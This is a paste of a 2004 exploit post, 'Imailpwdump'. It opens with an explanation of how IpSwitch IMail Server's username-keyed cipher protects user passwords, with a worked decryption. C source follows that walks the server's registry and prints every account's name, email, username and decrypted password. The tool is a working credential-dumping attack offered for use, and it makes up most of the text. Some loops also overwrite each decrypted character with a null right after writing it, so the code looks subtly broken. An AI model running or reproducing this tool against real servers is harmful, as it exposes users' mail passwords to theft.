Guest User

Untitled

a guest
Dec 10th, 2017
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.98 KB | None | 0 0
  1. /*********************************************************************************
  2. * IpSwitch IMail Server <= ver 8.1 User Password Decryption
  3. *
  4. * by Adik < netmaniac hotmail KG >
  5. *
  6. * IpSwitch IMail Server uses weak encryption algorithm to encrypt its user passwords. It uses
  7. * polyalphabetic Vegenere cipher to encrypt its user passwords. This encryption scheme is
  8. * relatively easy to break. In order to decrypt user password we need a key. IMail uses username
  9. * as a key to encrypt its user passwords. The server stores user passwords in the registry under the key
  10. * "HKEY_LOCAL_MACHINE\SOFTWARE\IpSwitch\IMail\Domains\<domainname>\Users\<username>\Password".
  11. * Before decrypting password convert all upper case characters in the username to lower case
  12. * characters. We use username as a key to decrypt our password.
  13. * In order to get our plain text password, we do as follows:
  14. * 1) Subtract hex code of first password hash character by the hex code of first username character.
  15. * The resulting hex code will be our first decrypted password character.
  16. * 2) Repeat above step for the rest of the chars.
  17. *
  18. * Look below, everythin is dead simple ;)
  19. * eg:
  20. *
  21. * USERNAME: netmaniac
  22. * PASSWORDHASH: D0CEE7D5CCD3D4C7D2E0CAEAD2D3
  23. * --------------------------------------------
  24. *
  25. * D0 CE E7 D5 CC D3 D4 C7 D2 E0 CA EA D2 D3 <- password hash
  26. * - 6E 65 74 6D 61 6E 69 61 63 6E 65 74 6D 61 <- hex codes of username
  27. * n e t m a n i a c n e t m a <- username is a key
  28. * -----------------------------------------
  29. * 62 69 73 68 6B 65 6B 66 6F 72 65 76 65 72 <- hex codes of decrypted password
  30. * b i s h k e k f o r e v e r <- actual decrypted password
  31. *
  32. *
  33. * pwdhash_hex_code username_hex_code decrypted_password
  34. * ------------------------------------------------------------------
  35. * D0 - 6E (n) = 62 (b)
  36. * CE - 65 (e) = 69 (i)
  37. * E7 - 74 (t) = 73 (s)
  38. * D5 - 6D (m) = 68 (h)
  39. * CC - 61 (a) = 6B (k)
  40. * D3 - 6E (n) = 65 (e)
  41. * D4 - 69 (i) = 6B (k)
  42. * C7 - 61 (a) = 66 (f)
  43. * D2 - 63 (c) = 6F (o)
  44. * E0 - 6E (n) = 72 (r)
  45. * CA - 65 (e) = 65 (e)
  46. * EA - 74 (t) = 76 (v)
  47. * D2 - 6D (m) = 65 (e)
  48. * D3 - 61 (a) = 72 (r)
  49. * ------------------------------------------------------------------
  50. *
  51. * I've included a lil proggie to dump all the usernames/passwords from local machine's registry.
  52. * Have fun!
  53. * //Send bug reports to netmaniac[at]hotmail.KG
  54. *
  55. * Greets to: my man wintie from .au, Chintan Trivedi :), jin yean ;), Morphique
  56. *
  57. * [16/August/2004] Bishkek
  58. *********************************************************************************/
  59.  
  60.  
  61. //#include "stdafx.h"
  62. #include <stdio.h>
  63. #include <stdlib.h>
  64. #include <string.h>
  65. #include <ctype.h>
  66. #include <windows.h>
  67. #define snprintf _snprintf
  68. #pragma comment(lib,"advapi32")
  69. #define ALLOWED_USERNAME_CHARS "A-Z,a-z,0-9,-,_,."
  70. #define MAX_NUM 1024 //500
  71. #define DOMAINZ "Software\\IpSwitch\\IMail\\Domains"
  72. #define VER "1.1"
  73. #define MAXSIZE 100
  74.  
  75. int total_accs=0;
  76. int total_domainz=0,total_domain_accs=0;
  77. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  78. void greetz()
  79. {
  80. printf( "\n\t--= [ IpSwitch IMail Server User Password Decrypter ver %s] =--\n\n"
  81. "\t\t (c) 2004 by Adik ( netmaniac [at] hotmail.KG )\n\n\n",VER);
  82. }
  83. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  84. void usage()
  85. {
  86. printf( "------------------------------------------------------------------------\n");
  87. printf( " Imailpwdump [-d] -- Dumps IMail Server user/pwds from local registry\n\n"
  88. " Imailpwdump [username] [passwordhash] -- User/PwdHash to decrypt\n\n"
  89. " eg: Imailpwdump netmaniac D0CEE7D5CCD3D4C7D2E0CAEAD2D3\n");
  90. printf( "------------------------------------------------------------------------\n");
  91.  
  92. }
  93. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  94. void str2hex(char *hexstring, char *outbuff)
  95. {
  96. unsigned long tmp=0;
  97. char tmpchr[5]="";
  98. memset(outbuff,0,strlen(outbuff));
  99. if(strlen(hexstring) % 2)
  100. {
  101. printf(" Incorrect password hash!\n");
  102. exit(1);
  103. }
  104. if(strlen(hexstring)>MAXSIZE)
  105. {
  106. printf(" Password hash is too long! \n");
  107. exit(1);
  108. }
  109. for(unsigned int i=0, c=0; i<strlen(hexstring); i+=2, c++)
  110. {
  111. memcpy(tmpchr,hexstring+i,2);
  112. tmp = strtoul(tmpchr,NULL,16);
  113. outbuff[c] = (char)tmp;
  114. }
  115. }
  116. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  117. void str2smallcase(char *input)
  118. {
  119. if(strlen(input)>MAXSIZE)
  120. {
  121. printf(" Username too long! \n");
  122. return;
  123. }
  124. for(unsigned int i=0;i<strlen(input);i++)
  125. {
  126. if(isalnum(input[i]) || input[i] == '-' || input[i]=='_' || input[i]=='.')
  127. input[i] = tolower(input[i]);
  128. else
  129. {
  130. printf(" Bad characters in username!\n Allowed characters: %s\n",ALLOWED_USERNAME_CHARS);
  131. return;
  132. }
  133. }
  134. }
  135. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  136. void populate(char *input,unsigned int size)
  137. {
  138. char tmp[MAX_NUM]="";
  139. unsigned int strl = strlen(input);
  140. strcpy(tmp,input);
  141. //netmaniacnetmaniacnetman
  142. for(unsigned int i=strlen(input),c=0;i<size;i++,c++)
  143. {
  144. if(c==strl)
  145. c=0;
  146. input[i] = tmp[c];
  147. input[i]='\0';
  148. }
  149. }
  150. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  151. void imail_decrypt(char *username, char *pwdhash,char *outbuff)
  152. {
  153. //adik 123456
  154. //adikbek 123
  155. if(strlen(pwdhash) <= strlen(username) )
  156. {
  157. memset(outbuff,0,sizeof(outbuff));
  158. for(unsigned int i=0;i<strlen(pwdhash);i++)
  159. {
  160. outbuff[i] = (pwdhash[i]&0xff) - (username[i]&0xff);
  161. outbuff[i]='\0';
  162. }
  163. }
  164. }
  165. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  166. void get_usr_pwds(char *subkey,char *usr)
  167. {
  168. long res;
  169. HKEY hPwdKey;
  170. char username[MAXSIZE]="";
  171. char passwdhash[MAXSIZE*2]="", passwd[MAXSIZE]="",clearpasswd[MAXSIZE]="";
  172. char fullname[MAXSIZE]="";
  173. char email[MAXSIZE]="";
  174. DWORD lType;
  175. DWORD passwdhashsz=sizeof(passwdhash)-1,fullnamesz=MAXSIZE-1,emailsz=MAXSIZE-1;
  176.  
  177. res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,subkey,0,KEY_ALL_ACCESS,&hPwdKey);
  178. if(res!=ERROR_SUCCESS)
  179. {
  180. printf(" Error opening key %s! Error #:%d\n",subkey,res);
  181. exit(1);
  182. //return;
  183. }
  184.  
  185. if(RegQueryValueEx(hPwdKey,"Password",0,&lType,(LPBYTE)passwdhash,&passwdhashsz)!= ERROR_SUCCESS)
  186. {
  187. RegCloseKey(hPwdKey);
  188. return;
  189. }
  190. if(RegQueryValueEx(hPwdKey,"FullName",0,&lType,(LPBYTE)fullname,&fullnamesz)!= ERROR_SUCCESS)
  191. {
  192. RegCloseKey(hPwdKey);
  193. return;
  194. }
  195. if(RegQueryValueEx(hPwdKey,"MailAddr",0,&lType,(LPBYTE)email,&emailsz)!=ERROR_SUCCESS)
  196. {
  197. RegCloseKey(hPwdKey);
  198. return;
  199. }
  200.  
  201.  
  202. str2smallcase(usr);
  203. strncpy(username,usr,sizeof(username)-1);
  204. str2hex(passwdhash,passwd);
  205. // adik 1234567
  206. // adik 12
  207. if(strlen(passwd)>strlen(username))
  208. populate(username,strlen(passwd));
  209. imail_decrypt(username,passwd,clearpasswd);
  210.  
  211. printf( "------------------------------------------------------------------------\n"
  212. " FullName:\t %s\n"
  213. " Email:\t\t %s\n"
  214. " Username:\t %s\n"
  215. " Password:\t %s\n",
  216. fullname,email,usr,clearpasswd);
  217. total_accs++;
  218. RegCloseKey(hPwdKey);
  219. }
  220. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  221. void dump_registry_pwds()
  222. {
  223. HKEY hKey,hUserKey;
  224. DWORD domRes=0,usrRes=0, domlen=0,userlen=0,domIndex=0,userIndex=0;
  225. FILETIME ftime;
  226. char domain[150]="";
  227. char user[150]="";
  228. char tmpbuff[MAX_NUM]="";
  229. char usrtmpbuff[MAX_NUM]="";
  230. domRes = RegOpenKeyEx(HKEY_LOCAL_MACHINE,DOMAINZ,0,KEY_ALL_ACCESS,&hKey);
  231. if(domRes!=ERROR_SUCCESS)
  232. {
  233. printf(" Error opening key '%s'!\n IMail not installed?? Error #:%d\n",DOMAINZ,domRes);
  234. exit(1);
  235. }
  236. do
  237. {
  238. domlen=sizeof(domain)-1;
  239. domRes=RegEnumKeyEx(hKey,domIndex,domain,&domlen,NULL,NULL,NULL,&ftime);
  240. if(domRes!=ERROR_NO_MORE_ITEMS)
  241. {
  242. printf("\n DOMAIN:\t [ %s ]\n",domain);
  243. userIndex=0;
  244. total_accs=0;
  245. snprintf(tmpbuff,sizeof(tmpbuff)-1,"%s\\%s\\Users",DOMAINZ,domain);
  246. usrRes = RegOpenKeyEx(HKEY_LOCAL_MACHINE,tmpbuff,0,KEY_ALL_ACCESS,&hUserKey);
  247. if(usrRes==ERROR_SUCCESS)
  248. {
  249. //adik
  250. do
  251. {
  252. userlen=sizeof(user)-1;
  253. usrRes=RegEnumKeyEx(hUserKey,userIndex,user,&userlen,NULL,NULL,NULL,&ftime);
  254. if(usrRes!=ERROR_NO_MORE_ITEMS)
  255. {
  256. snprintf(usrtmpbuff,sizeof(usrtmpbuff)-1,"%s\\%s\\Users\\%s",DOMAINZ,domain,user);
  257. get_usr_pwds(usrtmpbuff,user);
  258. }
  259. userIndex++;
  260. }
  261. while(usrRes!=ERROR_NO_MORE_ITEMS);
  262. RegCloseKey(hUserKey);
  263. printf("\n\t Total:\t %d Accounts\n",total_accs);
  264. total_domain_accs += total_accs;
  265. total_domainz++;
  266. }
  267. domIndex++;
  268. }
  269. }
  270. while(domRes != ERROR_NO_MORE_ITEMS);
  271. RegCloseKey(hKey);
  272. //total_domains += dom
  273. printf("\n Total:\t %d Domains, %d Accounts\n",total_domainz,total_domain_accs);
  274.  
  275. }
  276. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  277. void decrypt_usr_pass(char *usr,char *passwd)
  278. {
  279. char username[MAX_NUM]="";
  280. char passwordhash[MAX_NUM]="";
  281. char outputbuff[250]="";
  282.  
  283. str2smallcase(usr);
  284. strncpy(username,usr,sizeof(username)-1);
  285. str2hex(passwd,passwordhash);
  286. printf("------------------------------------------------------------------------\n");
  287. printf( " Username:\t\t %s\n"
  288. " Passwordhash:\t\t %s\n",usr,passwd);
  289. if(strlen(passwordhash)>strlen(username))
  290. populate(username,strlen(passwordhash));
  291.  
  292. imail_decrypt(username,passwordhash,outputbuff);
  293. printf(" Decrypted passwd:\t %s\n",outputbuff);
  294. printf("------------------------------------------------------------------------\n");
  295. }
  296. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  297. void main(int argc, char *argv[])
  298. {
  299. greetz();
  300.  
  301. if(argc ==2 && strncmp(argv[1],"-d",2)==0 )
  302. {
  303. //dump passwd from registry
  304. dump_registry_pwds();
  305. }
  306. else if(argc == 3 && strncmp(argv[1],"-d",2)!=0)
  307. {
  308. //decrypt username passwd
  309. decrypt_usr_pass(argv[1],argv[2]);
  310. }
  311. else
  312. {
  313. usage();
  314. return;
  315. }
  316.  
  317. // ThE eNd
  318.  
  319. }
  320. /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
  321.  
  322. // milw0rm.com [2004-08-18]
Add Comment
Please, Sign In to add comment